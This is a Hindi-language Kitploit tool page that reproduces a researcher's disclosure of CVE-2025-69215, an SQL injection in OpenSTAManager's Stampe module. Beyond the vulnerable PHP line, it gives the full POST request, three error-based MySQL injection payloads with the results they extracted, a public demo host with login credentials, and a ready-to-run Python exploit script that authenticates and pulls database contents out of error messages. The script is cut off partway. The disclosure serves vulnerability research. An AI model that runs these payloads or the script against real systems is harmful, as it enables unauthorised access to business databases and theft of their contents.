Skip to content
KitploitKITPLOIT
उपकरणएक्सप्लॉइटब्लॉग
Log in
जमा करें
उपकरणएक्सप्लॉइटब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

फ़ीडसंपर्कगोपनीयता© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2025-69215 — CVE-2025-69215 - OpenSTAManager में स्टैम्पे मॉड्यूल में SQL इंजेक्शन है | Kitploit
उपकरण/GitHubGitHub/lukasz-rybak/cve-2025-69215
भेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणपेनिट्रेशन टेस्टिंगलर्निंग और शिक्षाडेटाबेस सुरक्षा
GitHublukasz-rybak/cve-2025-69215

CVE-2025-69215

CVE-2025-69215 - OpenSTAManager में स्टैम्पे मॉड्यूल में SQL इंजेक्शन है

रिपॉजिटरी देखें
146 महीने पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2025-69215: OpenSTAManager में Stampe मॉड्यूल में SQL इंजेक्शन

अवलोकन

फ़ील्डविवरण
CVE आईडीCVE-2025-69215
गंभीरताउच्च
परामर्शपरामर्श देखें
खोजकर्ताLukasz Rybak

प्रभावित उत्पाद

  • devcode-it/openstamanager (संस्करण: <= 2.9.8)

CWE वर्गीकरण

  • CWE-89: SQL कमांड में प्रयुक्त विशेष तत्वों का अनुचित निराकरण ('SQL इंजेक्शन')

विवरण

भेद्यता विवरण

स्थान

  • फ़ाइल: modules/stampe/actions.php
  • पंक्ति: 26
  • असुरक्षित कोड:
case 'update':
    if (!empty(intval(post('predefined'))) && !empty(post('module'))) {
        $dbo->query('UPDATE `zz_prints` SET `predefined` = 0 WHERE `id_module` = '.post('module'));
        // ↑ Direct concatenation without prepare() sanitization
    }

मूल कारण

POST डेटा से module पैरामीटर को prepare() सैनिटाइज़ेशन फ़ंक्शन का उपयोग किए बिना सीधे SQL UPDATE क्वेरी में जोड़ा जाता है। जबकि predefined पैरामीटर को intval() से मान्य किया जाता है, module पैरामीटर पर केवल !empty() जांच होती है, जो SQL इंजेक्शन को रोकती नहीं है।

असुरक्षित पैटर्न:

// लाइन 25: intval() predefined को सुरक्षित करता है, लेकिन module सैनिटाइज़ नहीं है!
if (!empty(intval(post('predefined'))) && !empty(post('module'))) {
    // लाइन 26: सीधे जोड़ - असुरक्षित
    $dbo->query('UPDATE ... WHERE `id_module` = '.post('module'));
}

शोषण

असुरक्षित एंडपॉइंट

POST /modules/stampe/actions.php

आवश्यक पैरामीटर

op=update
id_record=1
predefined=1 (intval() के बाद गैर-शून्य होना चाहिए)
module=[इंजेक्शन_पेलोड]
title=Test
filename=test.pdf

प्रमाणीकरण आवश्यकता

  • मान्य प्रमाणित सत्र की आवश्यकता है (Stampe मॉड्यूल तक पहुँच रखने वाला कोई भी उपयोगकर्ता)
  • सत्यापित: "Tecnici" समूह पहुँच वाले उपयोगकर्ता शोषण कर सकते हैं (केवल व्यवस्थापक-विशेष नहीं!)
  • PoC: https://demo.osmbusiness.it पर डेमो क्रेडेंशियल्स tecnico/tecnicotecnico के साथ

शोषण का प्रकार

MySQL के EXTRACTVALUE/UPDATEXML/GTID_SUBSET फ़ंक्शन का उपयोग करके त्रुटि-आधारित SQL इंजेक्शन

प्रमाण की अवधारणा

विधि 1: EXTRACTVALUE (MySQL 5.1+)

POST /modules/stampe/actions.php
Content-Type: application/x-www-form-urlencoded

op=update&id_record=1&predefined=1&module=14 AND EXTRACTVALUE(1,CONCAT(0x7e,VERSION(),0x7e))&title=Test&filename=test.pdf

परिणाम:

चित्र

निकाला गया डेटा: MySQL संस्करण 8.3.0


विधि 2: GTID_SUBSET (MySQL 5.6+)

module=14 AND GTID_SUBSET(CONCAT(0x7e,DATABASE(),0x7e),1)

परिणाम:

चित्र

निकाला गया डेटा: डेटाबेस नाम openstamanager


विधि 3: UPDATEXML (MySQL 5.1+)

module=14 AND UPDATEXML(1,CONCAT(0x7e,USER(),0x7e),1)

परिणाम:

चित्र

निकाला गया डेटा: डेटाबेस उपयोगकर्ता [email protected]


स्वचालित शोषण

पूर्ण शोषण स्क्रिप्ट: exploit_stampe_sqli.py

#!/usr/bin/env python3
"""
SQL Injection Exploit - OpenSTAManager modules/stampe/actions.php

Usage:
    python3 exploit_stampe_sqli.py -u tecnico -p tecnicotecnico
    python3 exploit_stampe_demo.py -u admin -p admin123 --url https://custom.osm.local
"""

import requests
import re
import argparse
import sys
from html import unescape
from urllib.parse import urljoin

class StampeSQLiExploit:
    def __init__(self, base_url, username, password, verbose=False):
        self.base_url = base_url.rstrip('/')
        self.username = username
        self.password = password
        self.verbose = verbose
        self.session = requests.Session()
        self.session.headers.update({
            'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0'
        })

    def login(self):
        """Authenticate with username and password"""
        login_url = urljoin(self.base_url, '/index.php')

        if self.verbose:
            print(f"[DEBUG] Attempting login to {login_url}")
            print(f"[DEBUG] Username: {self.username}")

        # First, get the login page to establish session
        resp = self.session.get(login_url)
        if self.verbose:
            print(f"[DEBUG] Initial GET status: {resp.status_code}")

        # Send login credentials with op=login parameter (required!)
        login_data = {
            'username': self.username,
            'password': self.password,
            'op': 'login',  # Required for OpenSTAManager
        }

        resp = self.session.post(login_url, data=login_data, allow_redirects=True)

        if self.verbose:
            print(f"[DEBUG] Login POST status: {resp.status_code}")
            print(f"[DEBUG] Cookies: {self.session.cookies.get_dict()}")

        # Check if login was successful
        if 'PHPSESSID' not in self.session.cookies:
            print("[-] Login failed: No session cookie received")
            return False

        # Check if we're redirected to dashboard or still on login page
        if 'username' in resp.text.lower() and 'password' in resp.text.lower() and 'login' in resp.url.lower():
            print("[-] Login failed: Still on login page")
            if self.verbose:
                print(f"[DEBUG] Current URL: {resp.url}")
            return False

        print(f"[+] Successfully logged in as '{self.username}'")
        print(f"[+] Session: {self.session.cookies.get('PHPSESSID')}")
        return True

    def inject(self, sql_query):
        """Execute SQL injection payload"""
        # Use UPDATEXML instead of EXTRACTVALUE (works better on demo)
        payload = f"14 AND UPDATEXML(1,CONCAT(0x7e,({sql_query}),0x7e),1)"

        target_url = urljoin(self.base_url, '/modules/stampe/actions.php')

        if self.verbose:
            print(f"[DEBUG] Target: {target_url}")
            print(f"[DEBUG] Payload: {payload}")

        response = self.session.post(
            target_url,
            data={
                "op": "update",
                "id_record": "1",
                "predefined": "1",
                "module": payload,
                "title": "Test",
                "filename": "test.pdf"
            }
        )

        if self.verbose:
            print(f"[DEBUG] Response status: {response.status_code}")
            print(f"[DEBUG] Response length: {len(response.text)}")

        # Unescape HTML entities first
        response_text = unescape(response.text)

        # Pattern 1: XPATH syntax error with HTML entities or quotes
        # Matches: XPATH syntax error: '~data~' or &#039;~data~&#039;
        xpath_match = re.search(r"XPATH syntax error:\s*['\"]?~([^~]+)~['\"]?", response_text, re.IGNORECASE)
        if xpath_match:
            result = xpath_match.group(1)
            if self.verbose:
                print(f"[DEBUG] Extracted via XPATH pattern: {result}")
            return result

        # Pattern 2: Look in HTML comments (demo puts errors in comments)
        # <!--...XPATH syntax error: '~data~'...-->
        comment_match = re.search(r"<!--.*?XPATH syntax error:\s*['\"]?~([^~]+)~['\"]?.*?-->", response_text, re.DOTALL | re.IGNORECASE)
        if comment_match:
            result = comment_match.group(1)
            if self.verbose:
                print(f"[DEBUG] Extracted from HTML comment: {result}")
            return result
टूल डाउनलोड करें